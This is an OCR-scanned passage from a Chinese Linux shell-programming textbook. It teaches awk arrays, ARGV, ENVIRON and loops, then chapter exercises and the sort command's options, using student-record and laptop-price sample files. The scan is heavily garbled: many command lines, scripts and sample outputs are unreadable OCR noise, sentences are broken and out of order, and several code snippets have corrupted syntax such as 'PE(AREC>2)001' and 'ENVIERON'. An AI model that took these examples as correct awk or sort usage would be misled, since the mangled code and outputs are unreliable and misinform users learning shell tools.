# 例 4-58: 重 定义 输出 分 隔 符 

loo es en eae Te in Ry 0 one smsa 
Demiae naueno0s 2834800U0 3835 02 /3 04 88 

2 oorane) hele na (0 0 3 OLS 

SWang pln Seun02s eM e433 .3092 .34 

an tabla a ve (0 oo lo lee De en 

[root@zawu globus]# 


最 后 ， 我 们 讨论 一 个 awk 命令 行 参数 中 尤其 需要 注意 之 处 : 命令 行 参数 不 能 被 BEGIN 字 







































































awk 读 到 命令 行 参数 的 赋值 语句 时 ， 并 不 知道 这 是 一 个 命令 行 参数 的 赋值 语句 ， 而 认为 这 是 一 
个 文件 名 ， 当 然 这 个 文件 名 是 无 效 的 ，awk 继续 读 取 后 面 的 参数 ， 直 到 一 个 正确 的 输入 文件 名 
被 解析 的 时 候 ，awk 才 判 定 前 面 的 语句 是 命令 行 参数 的 赋值 语句 。 请 看 下 面 的 例 4-59: 


区 可 
















































































# 例 4-59: 命令 行 参数 对 BEGIN 字段 无 效 

[root@zawu globus]# awk ' 

> vetNe ee 

> {if (n==1) print "Reading the first file!™" 
> }' n=1 sturecord 


Reaecineom Ene ims Ee 
Reacirno he firmst Emel 
Reacino nee imst Ee 
Reaculno hee imst Eey 
root@zawu globus]# 


| 中 命令 BEGIN 字段 打印 n 变量 值 , awk 主 输入 循环 中 判断 n 的 值 , 分 别 输出 不 同 的 语 
， 通 过 命令 行将 n 赋 为 1。 该 命令 在 读 到 n=1 这 条 赋值 语句 时 ， 它 将 n=1 当做 输入 文件 名 ， 














Ey 









































命令 在 读 取 n=1 这 个 输入 文件 前 执行 BEGIN 字 段 ， 此 时 1n 为 空 ， 因 此 ， 打 印 一行 空 白 行 ; 

















接着 ,该 命令 发 现 n=1 并 非 有 效 的 文件 名 ， 继 续 读 到 sturecord 参数 ， 发 现 是 一 个 有 效 的 文件 


名 
了 


























， 进 而 将 n=1 解析 为 命令 行 参数 赋值 语句 ， 打 印 满足 n==1 时 的 语句 。 尽 管 上 面 简 单 论述 












































命令 行 参 数 对 BEGIN 字段 无 效 的 原因 ， 但 是 ， 对 于 一 些 并 不 想 知 道 其 中 详细 原因 的 读者 


























来 说 ， 记 住 结论 就 足够 了 。 


4. 





4.9 ”条 件 语句 和 循环 语句 
awk 条 件 语句 和 循环 语句 与 C 语言 的 语法 完全 一 样 ， 因 此 ， 本 节 对 awk 条 件 语句 和 循环 























语句 的 语法 不 作 深入 介绍 ， 只 列 出 它们 的 基本 形式 ， 并 举 几 个 简单 的 例子 加 以 说 明 。 


包含 算术 、 关 系 和 布尔 操作 符 。 


于 判断 是 否 等 值 ， 而 “=” 是 赋值 符 ，x=y 将 y 的 值 赋 给 x， 这 个 表达 式 永 真 ， 这 与 x==y 表 





条 件 语句 站 的 语法 如 下 : 
if (条 件 表达 式 ) 
动作 1 
[else 
动作 2] 
若 条 件 表 达 式 为 真 ， 执 行动 作 1， 否 则 执行 动作 2，else 语句 是 可 选 的 。 条 件 表达 式 可 以 


























比如 ， 下 面 的 语句 表示 当 x 等 于 y 时， 打印 x。 值 得 注意 的 是 ,“==” 是 关系 运算 符 ， 用 
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示 的 意思 完全 不 一 样 。 
if (x==y) print x 
当然 ， 也 可 以 使 用 “~” 匹 配 符 和 正则 表达 式 作 为 让 语句 的 条 件 ， 如 下 面 的 语句 ; 
< /A 
循环 语句 有 三 种 : while、do while 和 for。while 循环 语法 如 下 : 
while (条 件 表达 式 ) 
动作 
若 条 件 表 达 式 为 真 ， 重 复 执 行动 作 ， 直 到 条 件 表达 式 为 假 。 
do while 语法 如 下 : 
do 
动作 
while (条 件 表达 式 ) 
do while 与 while 的 区 别 在 于 动作 的 位 置 不 一 样 ，do while 将 动作 前 置 ， 先 执行 动作 ， 再 
判断 条 件 表达 式 。 因 此 ，do while 中 的 动作 至 少 执行 一 次 , 而 while 中 的 动作 有 可 能 一 次 都 不 
执行 。 
for 循环 语法 如 下 : 
for (设置 计数 器 初 值 ;测试 计数 器 ;计数 器 变化 ) 


它 首 先 为 计数 器 设置 初 值 ， 然 后 测试 计数 器 是 否 满足 二 定 条 件 ， 若 满足 ， 则 执行 动作 ， 
并 改变 计数 器 值 ， 进 行 下 一 轮 的 测试 ， 直 到 计数 器 不 满足 条 件 为 止 。 


4.4.10 数组 


数组 是 用 于 存储 一 系列 值 的 变量 , 这些 值 之 间 通 常 是 有 联系 的 ， 可 通过 索引 来 访问 数组 
的 值 ， 索 引 需 要 用 中 括号 插 起 ， 数 组 的 基本 格式 为 : 

array[index]=value 

可 以 看 到 ，awk 数组 的 形式 与 C 语 言 一 样 ， 但 是 ，awk 数组 无 须 定义 数组 类 型 和 大 小 ， 
而 可 以 直接 赋值 后 使 用 。 下 面 分 别 介绍 awk 数组 的 相关 内 容 。 

1. 关联 数组 

关联 数组 是 指数 组 的 索引 可 以 是 字符 串 ， 也 可 以 是 数字 。 在 大 部 分 编程 语言 中 ， 数 组 的 
索引 只 能 是 数字 , 数组 表示 了 存储 值 的 一 系列 地 址 , 数组 索引 是 由 存储 地 址 的 顺序 来 决定 的 ， 
如 C 语言 中 array[0] 表 示 数 组 的 起 始 地 址 。 而 关联 数组 在 索引 和 数组 元 素 值 之 间 建 立 起 关联 ， 
对 每 一 个 数组 元 素 ，awk 自动 维护 了 一 对 值 : 索引 和 数组 元 素 值 。 关 联 数组 的 值 无 须 以 连续 
的 地 址 进行 存储 ， 因 此 ， 关 联 数组 即便 可 以 使 用 数字 作为 索引 ， 但 是 该 数字 索引 并 不 表示 数 
组 存储 地 址 的 信息 。awk 的 所 有 数组 都 是 关联 数组 ， 这 是 awk 数组 和 其 他 大 部 分 编程 语言 数 
组 的 本 质 区 别 。 

字符 串 和 数字 之 间 的 差别 是 明显 的 ， 如 ， 我 们 使 用 array[09] 指 定 一 个 数组 值 ， 如 果 换 成 
array[9] 就 不 能 指定 到 与 array[09] 相 同 的 值 ， 例 4-60 论证 了 这 种 差别 ， 例 中 命令 首先 定义 
data[10.15]="1200", 然后 利用 CONVFMT 系统 变量 将 10.15 转换 为 整数 ，10.15 就 变 成 了 10， 
data[10.15] 就 等 价 于 data[10]， 因 此 ， 打 印 结果 data[10.15] 为 空 值 。 


# 例 4-60: 论证 字符 串 和 数字 的 区 别 
[root@zawu globus]# awk BEGIN{data[10.15]="1200";CONVFMT="%d";printf ("<%s>\n",data 
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Woe 
<> 
[root@zawu globus]# 
基于 上 述 关联 数组 的 含义 ，awk 特别 定义 了 一 种 for 循环 用 来 访问 关联 数组 ， 语 法 如 下 : 


Eon vaerrabren nn aray) 











donseometnmomw tor /veriablel 

array 是 已 定义 的 数组 名 , variable 是 任意 指定 的 变量 , 可 以 看 做 是 for 循环 中 定义 的 临时 
变量 。 在 此 不 专门 举例 说 明 这 种 for 循环 的 用 法 ， 我 们 在 下 面 讲述 split 函数 时 会 涉及 for 循 
环 的 用 法 。 

关键 字 in 也 可 用 在 条 件 表 达 式 中 判断 元 素 是 否 在 数组 中 ， 条 件 表 达 式 格式 为 : 

index in array 

如 果 array[index] 存 在 ， 则 返回 1， 否 则 返 
然后 使 用 上 述 语法 判断 data[10.15] 是 否 存在 。 

# 例 4-61: 判断 数组 元 素 是 否 存在 

[root@zawu globus]# awk ' 

> en lelaal to ts) = 2 

Ea ovo se ba release 

> print "Found element!™"}' 
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0， 如 例 4-61， 例 中 命令 先 定 义 data[10.15]， 

















Found element! 
[root@zawu globus]# 


2. split 函数 
在 4.4.7 节 中 ， 我 们 对 split 函数 未 作 介 绍 ， 因 为 split(r,s,t) 函 数 将 字符 串 以 t 为 分 隔 符 ， 
将 fr 字符 串 拆 分 为 字符 串 数组 ， 并 存放 在 t 中 。 例 4-62 给 出 了 split 函数 的 用 法 ， 例 中 第 1 条 
命令 以 “/” 为 分 隔 符 ， 将 字符 串 abc/def/xyz 分 并 存在 str 数组 中 ，split 函数 的 返回 值 是 

数组 的 大 小 , 第 1 条 命令 的 执行 结果 为 3, 表示 将 ee 分 成 了 3 个 元 素 存 储 在 数组 中 。 
第 2 条 命令 将 sturecord 文件 的 第 1 号 域 以 空格 为 分 隔 符 分 开 ， 存 储 到 name 数组 中 ， 每 行 返 
回 一 个 结果 ， 都 为 2 

# 例 4-62: split 函数 的 用 法 

# 第 1 条 命令 : 将 abc/def/xyz 分 成 了 3 个 元 素 

[roeotezawt glousIt awk PRGIN (print selit("abe/deE/xyZu ste/ 

3 


# 第 2 条 命令 : 将 sturecord 文件 的 第 1 域 划分 为 2 个 元 素 
SN 
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2 
多 
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root@zawu globus]# 
接 下 来 ， 我 们 举例 看 一 下 split 函数 所 生成 的 数组 内 容 ， 新 建 名 为 array.awk 的 脚本 文件 ， 


内 容 如 下 : 

例 4-63: array .awk 脚本 演示 split 函数 所 生成 的 数组 内 容 
I!/bin/awk -=£ 

BEGIN {FS=","} 

Sole (tn Me 














Een ame re em 


array.awk 脚本 的 split 函数 如 例 4-62 的 第 2 条 命令 ， 在 split 函数 分 隔 第 1 号 域 之 后 ， 利 
用 for 循环 将 name 数组 的 内 容 打印 出 来 。 J 4-63 给 出 了 array.awk 的 执行 结果 ， 可 以 看 到 ， 
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name 数组 中 确实 存储 了 学 生 的 姓名 。 同 时 ， 请 注意 array.awk 中 的 for 循环 ，name 数组 是 在 
split 函数 中 已 定义 的 ，i 变量 是 临时 变量 。 
# 例 4-63 array.awk 脚本 的 执行 结果 


[root@zawu globus]# chmod utx array.awk 











[root@zawu globus]# ./array.awk sturecord 
下 


[root@zawu globus]# 

3. 数组 形式 的 系统 变量 

awk 系统 变量 中 有 两 个 变量 是 以 数组 形式 提供 的 : ARGV 和 了 ENVIRON。ARGC 是 ARGV 
数组 中 元 素 的 个 数 ， 与 C 语言 一 样 ， 从 ARGV[0] 开 始 ， 到 ARGV[ARGC-1] 结 束 。 首 先 ， 通 过 


一 个 例子 看 一 下 ARGYV 中 到 底 存 储 了 哪些 命令 行 参数 ， 新 建 名 为 argvawk 的 脚本 ， 内 容 如 下 : 

# 例 4-64: argv.awk 演 示 ARGV 中 存储 了 哪些 命令 行 参数 

BEGIN { for(x=0;x<ARGC;x++) 
print ARGVI[x] 
print ARGC 





























7 














} 

argv.awk 只 有 BEGIN 字段 ， 其 中 的 语句 利用 for 循环 打印 ARGC 所 有 的 元 素 ，for 循环 
结束 后 , 打印 ARGC。 例 4-64 给 出 了 argv.awk 的 执行 结果 ， 由 于 argv.awk 未 加 扫 符 号 , 因此 ， 
需要 用 awk -f 进行 调用 ， 后面 加 上 xyz、n=99 和 “Hello World” 三 个 参数 ， 从 结果 可 以 看 到 ， 
ARGV[0] 中 存储 的 是 awk， 即 执行 该 脚本 的 程序 名 , ARGV[1]~~ARGV[3] 是 上 述 的 三 个 参数 ， 
ARGC=4. 注 意 , -f 选 项 不 在 ARGV 中。 因此 , 一般 来 说 , ARGC=2, ARGV[0] 为 awk、ARGVI[1] 
为 输入 文件 名 ， 如 果 没 有 输入 文件 ” 则 ARGC=1。 


[root@zawu globus]# awk -f argv.awk xyz n=99 "Hello World" 






























































awk 

XYZ 

n=99 

Hello World 

4 

[root@zawu globus]# 


接 下 来 ， 举 一 个 稍微 复杂 的 例子 以 说 明 ARGYV 的 应 用 ， 我 们 需要 对 sturecord 文件 中 的 
电话 号 码 进 行 检索 ， 即 输入 学 生 姓 名 ， 系 统 响应 输出 其 电话 号 码 。 新 建 名 为 fndphone 的 脚 


本 文件 ， 内 容 如 下 : 
# 例 4-65: findphone .awk 脚本 演示 如 何 应 用 ARGV 查找 姓名 所 对 应 的 电话 号 码 
#!/bin/awk -f£ 
BEGIN {FS=","; 

# 判 断 是 否 已 经 输入 姓名 
PE(AREC>2)001 
name=ARGV [1]; 
delete ARGV[1] } 









































else { 


# 若 没有 输入 姓名 ， 提 示 输 入 姓名 
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while(!name) {print "Pls. Enter a name" 
getline name< "-"} 
1 
1 

$1~name {print $1,$3} 

findphone.awk 脚本 的 BEGIN 字段 中 ， 用 站 判断 ARGC 是 否 大 于 2， 如果 大 于 2， 表 示 
用 户 已 经 输入 需要 查找 的 姓名 , 将 ARGV[1] 赋 给 name 变量 (ARGV[0]="awk", 所 以 , ARGV[1] 
中 存储 了 姓名 )， 若 ARGC 不 大 于 2， 则 说 明 此 时 未 输入 姓名 ， 则 利用 一 个 循环 提示 输入 姓 
名 ， 利 用 getline om name 变量 。 主 输入 循环 变量 判断 第 1 号 域 是 否 与 name 变 
量 模糊 匹配 ， 若 是 ， 则 输出 第 1 域 和 第 3 域 的 值 。 例 4-65 显示 了 findphone.awk 脚本 的 执行 
情况 ， 第 1 条 命令 带 有 姓名 字符 串 ，ARGC=3， 直 接 返 回 结果 ， 第 2 条 命令 ARGC=2， 提 示 
输入 姓名 字符 串 ， 然 后 返回 查询 结果 。 
例 4-65 findphone.awk 脚本 的 执行 结果 
root@zawu globus]# chmod u+x findphone.awk 
第 1 条 命令 : ARGC=3 的 情况 
root@zawu globus]# ./findphone.awk Zhu sturecord 
SO 
第 2 条 命令 ， RARGC=2 的 情况 
root@zawu globus]# ./findphone.awk sturecord 























































































































Pls. Enter a name 
Li 

PirHacon02s 83481010 
DO 
root@zawu globus]# 


ENVIRON 变量 存储 了 Linux 操作 系统 的 环境 变量 ， 例 4-66 打印 出 ENVIRON 数组 的 所 
有 内 容 ， 其 结果 类 似 于 Linux 的 set 命令 ， 它 显示 了 当前 系统 所 定义 的 所 有 环境 变量 


# 例 4-66: 打印 ENVIRON 数组 
[root@zawu globus]# awk ' 

> BEGIN | for (1 in ENVIERON) 
2 
AWKPATH=. :/usr/share/awk 
SSH ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass 
SELINUX LEVEL REQUESTED= 
OLDPWD=/ root 
SELINUX ROLE REQUESTED= 
LANG=zh CN.GB18030 
HISTSIZE=1000 

GVSERSH Sse 

USER=root 

_=/bin/awk 
QTLIB=/usr/lib/gqt-3.3/1ib 
SELINUX USE CURRENT RANGE= 
TERM=vt100 























o 





root@zawu globus]# 

从 例 4-66 也 可 以 看 出 ，ENVIRON 的 索引 是 环境 变量 名 ， 因 此 ， 我 们 也 可 以 通过 环境 变 

量 名 直接 得 到 其 值 ， 如 下 面 的 用 法 : 
ENVIRON ["AWKPATH"] 
ENVIRON["GRIDSIM"] 
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注意 ， 环 境 变量 名 需要 用 双 引 号 引起 。 当 然 ， 也 可 以 通过 ENVIRON 数组 改变 环境 变量 
的 值 ， 如 : 


ENVIRON["AWKPATH"]=/bin/gawk 


145 于 于 向 


绍 了 sed 命令 和 awk 编程 ，sed 用 于 流 编 辑 ， 它 将 一 系列 的 编辑 命令 作用 于 缓冲 

本 本， 从 而 实现 对 输入 文件 的 各 种 编辑 操作 。 而 awk 的 一 大 显著 特点 是 处 理 

结构 化 文件 。 所 谓 结构 化 文件 ， 是 指 划分 为 记录 和 域 的 文件 ， 并 且 awk 提供 printf 语句 能 生 

成 格式 化 报表 。 

有 关 sed 和 awk 处 理 管道 流 的 用 法 将 在 第 10 章 介 绍 。 读 者 如 果 需 要 进一步 学 习 sed 和 

awk， 建 议 参考 O'Reilly & Associates 于 2000 年 出 版 的 由 Amold Robbins 编著 的 sed & awk 
Pocket Reference 一 书 。 


4.6 Pr 人 


利用 sed 命令 将 input 文件 中 的 \OU 字符 串 修 改 为 (0u)， 在 此 基础 上 ， 将 该 sed 命令 改 
本 sed 脚本 ， 利 用 sed 的 第 2、3 种 调用 方式 实现 同样 的 目的 。 

2. 利用 sed 命令 打印 input 文件 中 除 第 3 一 8 行 之 外 的 所 有 行 , 在 以 下 三 种 不 同 选项 组 合 
下 运行 该 命令 : (1) 不 带 任 何 选 项 ; (2) 只 带 -n 选项 ;(3) 同时 带 -n 和 -p 选项 ， 并 分 析 以 上 
三 种 不 同 选项 组 合 的 区 别 。 

3. 用 两 个 不 同 的 命令 实现 如 下 功能 :将 input 文件 中 的 \OU 字符 串 修改 为 (ou), 并 在 与 \OU 
Be “Wefind\OU!” 字 符 串 。 
. 利用 sed 命令 在 /etc/passwd 中 分 别 查 找 满足 以 下 条 件 的 行 : (1) o 字符 重复 任意 次 ; 
(C2) sd 次 以 上 ; (3) o 字符 重复 两 次 以 上 。 

5， 将 input 文件 中 的 abcde 字符 分 别 用 EDCBA 替换 ， 并 将 替换 后 的 文件 覆盖 原文 件 。 

6. 将 /etc/passwd 文件 中 与 root 相 匹配 的 行 号 入 保存 缓 神 区 ， 并 与 globus 相 匹 配 的 行进 
行 互 换 ， 最 后 输出 保存 缓冲 区 的 内 容 。 

7. 利用 awk 的 三 种 调用 方式 输出 sturecord 的 所 有 域 ， 输 出 格式 如 下 : 

行 号 : Li Hao:njue:025-83481010:85:92:78:94:88: 该 行 包含 的 域 数 量 

8. 利用 awk 命令 在 /etc/passwd 中 分 别 查 找 满足 以 下 条 件 的 行 :(1) o 字符 重复 任意 次 
(2) o 字 符 重 复 一 次 以 上 ; (3) o 字 符 重 复 两 次 以 上 。 

9. 利用 awk 命令 将 2010 分 别 转换 为 八进制 和 十 六 进 制 后 输出 。 

10. 利用 awk 命令 输出 sturecord 文件 中 学 生成 绩 总 和 小 于 450 et 学 校 。 

11. 定义 数组 data 为 以 下 一 列 数 : 4，90，6.9，8，10，1，60，7.8，9.3。 利 用 awk 将 
data 非 递减 进行 排序 ,排序 算法 可 选择 任意 一 种 ,下面 给 出 选择 排序 的 读者 参考 : 
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13. 编写 awk 脚本 ， 针 对 /etc/passwd 文件 ， 实 现 用 户 名 到 行 号 、 月 








12. 使 用 sed 和 awk 两 种 方式 ， 不 区 分 大 小 写 匹 配 certificate， 并 将 certificate 替换 为 

















本 的 输入 为 表示 用 户 名 的 字符 串 , 输出 为 该 用 户 名 所 对 应 的 行 号 及 其 根 目 


程 中 的 常用 命令 ， 文 本 处 理 包 含 对 
| 等 本章 介 绍 一 些 Linux 文本 处 

















F 记 录 的 排序 、 文 伯 




















paste 命令 、 








命令 、tr 命令 和 tar 命令 , 这 


现 对 文件 记录 排序 、 统计 、 
1、 过 滤 、 压缩 和 解压 等 功能 ， 它 们 与 上 一 章 
的 所 有 命令 和 工具 。 








人 合并、 提取、 粘贴 、 分 
介绍 的 sed 和 awk 构成 了 Linux 文本 处 型 
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D.4 sort 命 合 人 


em 











计算 机 系统 中 存储 的 很 多 文本 文件 记录 了 大 量 数据 记录 ， 如 字典 、 图 书馆 书目 、 电 话 每 
等 文件 ， 这 些 文件 中 的 数据 记录 如 果 不 按 顺 序 排列 ， 将 使 得 用 户 难 以 阅读 ， 更 难以 查找 到 所 
需 的 信息 ， 反 之 ， 如 果 将 这 些 数据 记录 排序 ， 则 更 易于 程序 化 并 提高 处 理 的 效率 。Linux 的 
sort 命令 就 是 一 种 对 文件 排序 的 工具 ，sort 命令 的 功能 十 分 强大 ， 是 Shell 脚本 编程 时 常用 的 
文件 排序 工具 。 

sort 命令 将 输入 文件 看 做 由 多 条 记录 组 成 的 数据 流 ， 而 记录 由 可 变 宽 度 的 字段 组 成 ， 以 
换行 符 作 为 定 界 符 。sort 命令 与 awk 一 样 ， 可 将 记录 分 成 多 个 域 进行 处 理 ， 默 认 的 域 分 隔 符 
是 空格 符 ， 当 然 ， 域 分 隔 符 也 可 由 用 户 指定 其 他 符号 。sort 命令 的 基本 格式 为 : 

sort [选项 ] [输入 文件 ] 

sort 命令 的 选项 有 很 多 ， 我 们 先 将 这 些 选项 及 其 意义 列 在 表 5-1 中 ， 然 后 展开 论述 sort 























































































































测试 文件 是 否 已 经 被 排序 
指定 排序 的 域 
合并 两 个 已 排序 的 文件 
数字 大 小 进行 排序 


























将 输出 写 到 指定 的 文件 ， 相 当 于 将 输出 重 定向 到 指定 文件 
排序 结果 北向 显示 


























除 结果 中 的 重复 行 


命令 的 基本 用 法 


rt 
sort 命令 包含 很 多 选项 ， 比 较 复 杂 ， 下 面 我 们 分 儿 个 方面 来 介绍 sort 命令 的 基本 用 法 。 



























































sort 命令 是 分 域 对 文件 进行 排序 的 ， 默 认 的 域 分 隔 符 是 空格 符 ，-t 选项 可 用 于 设置 分 隔 
符 。 下 面 先 看 一 个 最 简单 的 sort 命令 的 例子 ， 我 们 新 建 一 个 名 为 CARGO.db 的 文件 ， 用 于 记 
录 笔 记 本 品牌 、 产 地 、 价 格 、 年 代 、 型 号 等 信息 ， 各 域 间 用 冒号 分 隔 。 

例 5-1: sort 命令 用 下 选项 设置 分 隔 符 
root@zawu shell-program]# cat CARGO.db 查看 CARGo . db 文件 的 内 容 
Thinkpad Usa A000:2000=>X301 

Thinkpad:HongKeong:10000:2008: T1400 

Timkepac sa 3000 :2007 :X60 

BECnimna: 00 2010:DMS 

EE Cn (OO: OO NEES 
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SumSung:Korea:5400:2009:0308 
IdeaPad:China:8000:2007:U450 
Acerepalwarn: e000 2010:eT210 
[root@zawu shell-program]# sort -t: CARGO.db 
Acere: podlwan:eoOoo: 2010: e1210 


EEC 
ESEhninee 


2000:201T0ENE8S08 
SiG0020P0DMS 





件 进 行 排序 ， 用 -t 选项 指定 域 分 隔 符 为 冒号 ， 注 意 ，-t 与 “: 
默认 根据 第 1 域 对 数据 记录 进行 排序 ， 如 果 第 1 域 相同 ， 
第 1 域 为 ThinkPad 的 3 条 记录 ， 








[deaPad:China:8000:2007:U450 
SumSung:Korea:5400:2009:Q308 
mkEsewRcngRenoONR2UUSSEAUNW 
neal pare US lA 0: A008 On 

naa pele SA e000 2200 6 
root@zawu shell-program]# 


上 述 例 5-1 中 CARGO.db 文件 是 用 冒号 分 隔 域 的 ， 上 伪 











# 以 默认 方式 对 CARGO. db 文件 排序 












































再 根据 第 2 域 排序 ， 以 此 类 
第 2 域 HongKong 的 记录 排 在 最 前 面 (HongKong 开头 字母 





1 中 使 用 sort 命令 对 CARGO.db 文 
”之 间 是 没有 空格 的 。sort 命令 





上 E， 如 














“H” 在 USA 开头 字母 “U” 之 前 )， 第 2 域 为 USA 的 2 条 记录 又 按照 第 3 域 进行 了 排序 。 


当 示 指定: 


项 改变 分 隔 符 








这 条 记录 只 有 一 个 域 ， 为 roof， 记录 前 后 的 空格 符 都 被 忽略 了 ; 若 用 -选项 指定 冒号 ， 

















记录 就 包含 了 三 个 域 ， 第 1 和 3 域 是 空格 符 一 第 2 域 是 :foot:。 
空格 符 : root :空格 符 


2. -k 选项 


从 上 例 可 


行 排序 ，-k 选项 就 是 用 了 


序 的 命令 : 


He nae 


eshaines 








可 以 看 出 ， 尽 
式 进行 排序 的 
命令 再 依次 以 





3. -n 选 项 
如 果 需 要 根据 笔记 本 价格 从 小 到 大 的 方式 对 CARGO.db 文件 进 


例 5-2: sort 命令 月 








以 看 出 ， 




















12000:2010:NE808 


GOUUR2OURPMS 








， 如 第 3 域 以 1 开始 的 所 有 记录 排 在 最 前 面 。 如 果 几 条 记录 的 久 





第 4 域 、 第 5 域 、 


























日 -k 选项 指定 排序 的 域 号 
root@zawu shell-program]# sort -t: 
Thumkeac Hom Ror O00 2008m400 


-k3 CARGO.db 


Tmnkpac USA Tao 2009: 301 
Sumsung:Koreae: SUA00:2009590308 


[deaPad:China:8000:2007:U450 
Tn ele: USAe SO 00: 2007 X60 
Aeer iernwan: eon OOR DE2L0 
root@zawu shell-program]# 


例 5-2 的 命令 利用 -k3 指定 了 入 


管 第 3 域 是 数字 ， 但 是 sort 命令 } 









































本 进行 排序 。 





sort 命令 默认 情况 下 是 按 第 1 域 进行 排序 的 ， 也 可 
指定 域 的 一 sort 命令 以 1 表示 第 1 域 、 以 2 表 5 
CARGO.db 文件 记录 的 第 3 域 是 价格 ， 下 面 的 例 5-2 给 出 按 第 3 域 对 CARGO.db 文件 记录 排 


和 3 域 ， 注意， k 和 3 之 间 也 没有 空格 ， 从 命令 的 执行 结果 
未 以 数字 大 小 来 排序 ， 而 是 





以 按 指 定 茶 个 域 进 
:第 2 域 ， 以 此 类 推 。 








tf 时， 分 隔 符 是 空格 符 ， 这 时 记录 内 开头 与 结尾 的 空格 都 将 被 忽略 ， 当 用 - 臣 选 
时 ， 空 格 符 变 得 有 意义 ， 例 如 ， 对 于 下 面 的 这 条 数据 记录 ， 若 不 指定 -t 选项 ， 























根据 第 3 域 对 CARGo . dp 排序 





万 然 以 字符 串 方 




















从 





远见 教 



































和 3 域 相同 ，sort 


行 排序 , 即 以 第 3 域 的 数 
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字 大 小 对 CARGO.db 文件 排序 , 这 时 束 需 要 使 用 -n 选项 ,，-n 选项 可 以 指定 根据 数字 大 小 进行 


排序 。 下 面 给 出 的 例 5-3 演示 了 -= 选项 的 用 法 : 
# 例 5-3: sort 命令 用 -n 选项 设置 根据 数值 大 小 排序 
[root@zawu shell-program]# sort -t: -k3n CARGO.db # 根 据 第 3 域 的 数字 大 小 排序 
sumSsung:Korea:5400:2009:0308 
Epaehlina oso 20l0 DM 
Acer:Taiwan:8000:2010:PT210 
IdeaPad:China:8000:2007:U450 
Mvp a S00 2007 260 
Thinkpad:HongKong:10000:2008:71400 
HP-Cnina:12000:2010:NES808 
Thinkpad:UsA:14000:2009:X301 
[root@zawu shell-program]# 


-n 选项 不 是 单独 使 用 的 ， 一 般 放 在 域 号 之 后 ， 例 5-3 命令 中 的 -k3n 就 指定 了 以 第 3 域 排 
训 ， 日 不 是 按照 第 3 域 的 字符 串 顺 序 排序 ， 而 是 按 第 3 域 的 数字 大 小 进行 排序 的 。 从 命令 的 
执行 结果 可 以 看 出 ,第 3 域 最 小 的 5400 排 在 最 前 面 , 最 大 的 14000 排 在 最 后 ， 如 果 按 字母 排 
序 ，14000 是 排 在 5400 前 面 的 。 

4. -选项 

工 选项 用 于 将 排序 结果 逆向 显示 。 如 果 需 要 根据 笔记 本 价格 从 大 到 小 的 方式 来 对 
CARGO.db 文件 进行 排序 ， 就 可 以 利用 -k3n 选项 将 CARGO.db 文件 的 第 3 域 从 小 到 大 排序 ， 
然后 用 -选项 将 结果 逆向 显示 ， 下 面 的 例 5-4 给 出 了 这 条 命令 及 其 结果 ; 
网 5-4: sort 命令 用 -r 选项 将 排序 结果 逆向 
reolezmawu shell eroogram]lt seo EE: Kn eRco 
ThinkPad:USA:14000:2009:X301 
HE enina: 2000: 2010:NES08 
Thimkpad HomnegKeone 000 2008 7400 
Acer:Taiwan:8000:2010:PT210 
deaPad:China:8000:2007:U450 
Mam e80002007 :650 
Ee:Chnma. G00 2010:DMS 


Sumsung Korea:o5400:2009.90308 

root@zawu shell-program]# 

网 5-4 命令 使 用 -k3nr 实现 了 第 3 域 从 大 到 小 的 排序 ,其 结果 恰好 是 -k3n 排序 结果 的 倒置 。 
5. -U 选项 
-u 选项 用 于 去 除 排序 结果 中 的 重复 行 ， 如 果 在 CARGO.db 文件 中 输入 几 条 重复 记录 ， 然 后 利 

用 sort-u 对 该 文件 进行 排序 。 下 面 的 例 5-5 通过 比较 使 用 -u 选项 前 后 的 结果 来 说 明 -u 选项 的 意义 : 
# 例 5-5: sort 命令 -u 选项 的 用 法 
[root@zawu shell-program]# sort -t: CARGO.db # 根 据 第 1 域 对 CARGO . dp 排序 
Moer -Talwarnm e000 2010: e1210 
Rpmna lo000: 2200 NESOS 
Heenanma so0 0 2010:DMS 
IdeaPad:China:8000:2007:U450 
SumSung:Korea:5400:2009:08308 
Sumsunog :Korea S400.2009-.90508 
Thinkpad:HongKong:10000:2008:1400 
Tamkead SAA000:20095->501 
mminkBpad Usa A000 2009-.>301 
Tm ad us A000 2000- X01 
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EE 复 记 录 


井 
[ill 





重复 记录 


站 
[ll 
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ThinkPad:USA:8000:2007:X60 

[root@zawu shell-program]# sort -t: -u CARGO.db # 利 用 -u 选项 对 CARGO . dp 排序 

Acer:Taiwan:8000:;2010:PT210 

HE Cnner E2000 2200 Ne0 

HE ACh e002 DMs 

Laeapac Cnnmae SO: 200 450 

SumSung:Korea:5400:2009:0308 

Tumkee om 2008 L400 

Thankeac Usa: L40002009- 301 

Thninkpace USsa: So00200/:X60 

[root@zawu shell-program]# 

例 5-5 中 未 加 -u 选项 时 ， 结 果 中 存在 2 条 “SumSung:Korea:5400:2009:Q308” 和 3 条 
“ThinkPad:USA:14000:2009:X301” 重 复 记 录 ， 命令 加 上 -u 选项 之 后 ， 结 果 中 的 重复 记录 已 经 
去 除 。 

6. -0 选项 

sort 命令 默认 将 排序 后 的 结果 输出 到 屏幕 上 ， 如 果 需 要 将 结果 保存 到 男 一 个 文件 中 ， 我 
们 可 以 使 用 -o 选项 加 上 文件 名 来 完成 ， 下 面 给 出 的 例 5-6 演示 了 -o 选项 的 用 法 : 

# 例 5-6: sort 命令 -o 选项 的 用 法 

# 将 CARGO . db 按 第 3 域 的 数值 大 小 排序 ， 并 将 排序 结果 存储 到 SORT_CARGO. qb 文件 中 

[eet er sm roel sor te Gon on oe ea 

[root@zawu shell-program]# cat SORT CARGO.db # 查 看 SORT CARGO .db 文件 内 容 

sumsung:Korea:5400:2009:0308 

He Chnimeo od 0 200 DMS 

Acer:Taiwan:8000:2010:PT210 

aeapac ennmar So O00 As0 

nk Pele: USAe O00: 2000 -X60 

nmk pa Honerona ooo 20 .400 

HE Ch E2000 0 Ned 


mma Sa A000 2000 SO 
[root@zawu shell-program]# 


例 5-6 根据 第 3 域 的 数值 大 小 对 CARGO.db 文件 排序 ， 并 利用 -o SORT_CARGO.db 将 排 
序 后 的 结果 存储 到 SORT_ CARGO.db 文件 ， 此 时 ，sort 命令 执行 后 就 不 在 屏幕 上 显示 任何 信 
息 , 但 是 ， 查看 SORT_CARGO.db 文件 内 容 后 发 现 , 该 文件 确实 存储 了 CARGO.db 排序 后 的 
记录 。 

实际 上 ，-o 选项 的 功能 与 Shell 提供 的 IO 重 定向 功能 一 样 。 第 10 章 将 详细 介绍 IO 重 
定向 的 用 法 ， 在 此 ， 读 者 仅 需 了 解 若 需要 保存 sort 命令 排序 后 的 结果 ， 则 使 用 -o 选项 。 

